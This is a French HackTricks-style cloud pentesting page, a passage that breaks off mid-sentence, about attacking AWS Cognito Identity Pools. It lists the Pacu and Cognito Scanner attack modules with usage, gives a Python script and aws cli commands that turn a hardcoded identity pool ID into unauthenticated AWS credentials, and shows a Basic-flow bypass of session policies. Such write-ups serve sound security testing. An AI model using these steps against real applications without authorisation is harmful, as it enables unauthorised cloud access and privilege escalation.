# Cognito Identity Pools

{{#include ../../../../banners/hacktricks-training.md}}

## Informations de base

Les pools d'identité jouent un rôle crucial en permettant à vos utilisateurs d'**acquérir des identifiants temporaires**. Ces identifiants sont essentiels pour accéder à divers services AWS, y compris, mais sans s'y limiter, Amazon S3 et DynamoDB. Une caractéristique notable des pools d'identité est leur prise en charge à la fois des utilisateurs invités anonymes et d'une gamme de fournisseurs d'identité pour l'authentification des utilisateurs. Les fournisseurs d'identité pris en charge incluent :

- Amazon Cognito user pools
- Options de connexion sociale telles que Facebook, Google, Login with Amazon et Sign in with Apple
- Fournisseurs conformes à OpenID Connect (OIDC)
- Fournisseurs d'identité SAML (Security Assertion Markup Language)
- Identités authentifiées par le développeur
```python
# Sample code to demonstrate how to integrate an identity provider with an identity pool can be structured as follows:
import boto3

# Initialize the Amazon Cognito Identity client
client = boto3.client('cognito-identity')

# Assume you have already created an identity pool and obtained the IdentityPoolId
identity_pool_id = 'your-identity-pool-id'

# Add an identity provider to the identity pool
response = client.set_identity_pool_roles(
IdentityPoolId=identity_pool_id,
Roles={
'authenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/AuthenticatedRole',
'unauthenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/UnauthenticatedRole',
}
)

# Print the response from AWS
print(response)
```
### Cognito Sync

Pour générer des sessions de Identity Pool, vous devez d'abord **générer un Identity ID**. Cet Identity ID est **l'identification de la session de cet utilisateur**. Ces identifications peuvent avoir jusqu'à 20 ensembles de données pouvant stocker jusqu'à 1 Mo de paires clé-valeur.

Ceci est **utile pour garder des informations sur un utilisateur** (qui utilisera toujours le même Identity ID).

De plus, le service **cognito-sync** est le service qui permet de **gérer et synchroniser ces informations** (dans les ensembles de données, en envoyant des informations dans des flux et des messages SNS...).

### Tools for pentesting

- [Pacu](https://github.com/RhinoSecurityLabs/pacu), le framework d'exploitation AWS, inclut maintenant les modules "cognito\_\_enum" et "cognito\_\_attack" qui automatisent l'énumération de tous les actifs Cognito dans un compte et signalent les configurations faibles, les attributs utilisateur utilisés pour le contrôle d'accès, etc., et automatisent également la création d'utilisateurs (y compris le support MFA) et l'escalade de privilèges basée sur des attributs personnalisés modifiables, des identifiants de pool d'identité utilisables, des rôles assumables dans les jetons d'identité, etc.

Pour une description des fonctions des modules, voir la partie 2 du [blog post](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Pour des instructions d'installation, voir la page principale de [Pacu](https://github.com/RhinoSecurityLabs/pacu).

#### Usage

Exemple d'utilisation de cognito\_\_attack pour tenter la création d'utilisateur et tous les vecteurs d'escalade de privilèges contre un pool d'identité et un client de pool d'utilisateurs donnés :
```bash
Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX
```
Exemple d'utilisation de cognito\_\_enum pour rassembler tous les groupes d'utilisateurs, les clients de groupes d'utilisateurs, les groupes d'identité, les utilisateurs, etc. visibles dans le compte AWS actuel :
```bash
Pacu (new:test) > run cognito__enum
```
- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) est un outil CLI en python qui implémente différentes attaques sur Cognito, y compris la création de comptes non désirés et l'escalade de pools d'identité.

#### Installation
```bash
$ pip install cognito-scanner
```
#### Utilisation
```bash
$ cognito-scanner --help
```
Pour plus d'informations, consultez https://github.com/padok-team/cognito-scanner

## Accéder aux rôles IAM

### Non authentifié

La seule chose qu'un attaquant doit savoir pour **obtenir des identifiants AWS** dans une application Cognito en tant qu'utilisateur non authentifié est le **ID de la piscine d'identité**, et cet **ID doit être codé en dur** dans l'**application** web/mobile pour qu'elle puisse l'utiliser. Un ID ressemble à ceci : `eu-west-1:098e5341-8364-038d-16de-1865e435da3b` (il n'est pas bruteforcable).

> [!TIP]
> Le **rôle IAM Cognito non authentifié créé via est appelé** par défaut `Cognito_<Nom de la piscine d'identité>Unauth_Role`

Si vous trouvez un ID de piscine d'identité codé en dur et qu'il permet aux utilisateurs non authentifiés, vous pouvez obtenir des identifiants AWS avec :
```python
import requests

region = "us-east-1"
id_pool_id = 'eu-west-1:098e5341-8364-038d-16de-1865e435da3b'
url = f'https://cognito-identity.{region}.amazonaws.com/'
headers = {"X-Amz-Target": "AWSCognitoIdentityService.GetId", "Content-Type": "application/x-amz-json-1.1"}
params = {'IdentityPoolId': id_pool_id}

r = requests.post(url, json=params, headers=headers)
json_resp = r.json()

if not "IdentityId" in json_resp:
print(f"Not valid id: {id_pool_id}")
exit

IdentityId = r.json()["IdentityId"]

params = {'IdentityId': IdentityId}

headers["X-Amz-Target"] = "AWSCognitoIdentityService.GetCredentialsForIdentity"
r = requests.post(url, json=params, headers=headers)

print(r.json())
```
Ou vous pourriez utiliser les **commandes aws cli** suivantes :
```bash
aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign
aws cognito-identity get-credentials-for-identity --identity-id <identity_id> --no-sign
```
> [!WARNING]
> Notez qu'en défaut, un utilisateur cognito **non authentifié NE PEUT avoir aucune permission, même si elle a été assignée via une politique**. Vérifiez la section suivante.

### Flux d'authentification amélioré vs basique

La section précédente a suivi le **flux d'authentification amélioré par défaut**. Ce flux définit une **politique de session restrictive** [**session policy**](../../aws-basic-information/index.html#session-policies) pour la session de rôle IAM générée. Cette politique ne permettra à la session que de [**utiliser les services de cette liste**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services) (même si le rôle avait accès à d'autres services).

Cependant, il existe un moyen de contourner cela, si le **pool d'identité a "Basic (Classic) Flow" activé**, l'utilisateur pourra obtenir une session en utilisant ce flux qui **n'aura pas cette politique de session restrictive**.
```bash
# Get auth ID
aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign

# Get login token
aws cognito-identity get-open-id-token --identity-id <identity_id> --no-sign

# Use login token to get IAM session creds
## If you don't know the role_arn use the previous enhanced flow to get it
aws sts assume-role-with-web-identity --role-arn "arn:aws:iam::<acc_id>:role/<role_name>" --role-session-name sessionname --web-identity-token <token> --no-sign
```
> [!WARNING]
> Si vous recevez cette **erreur**, c'est parce que le
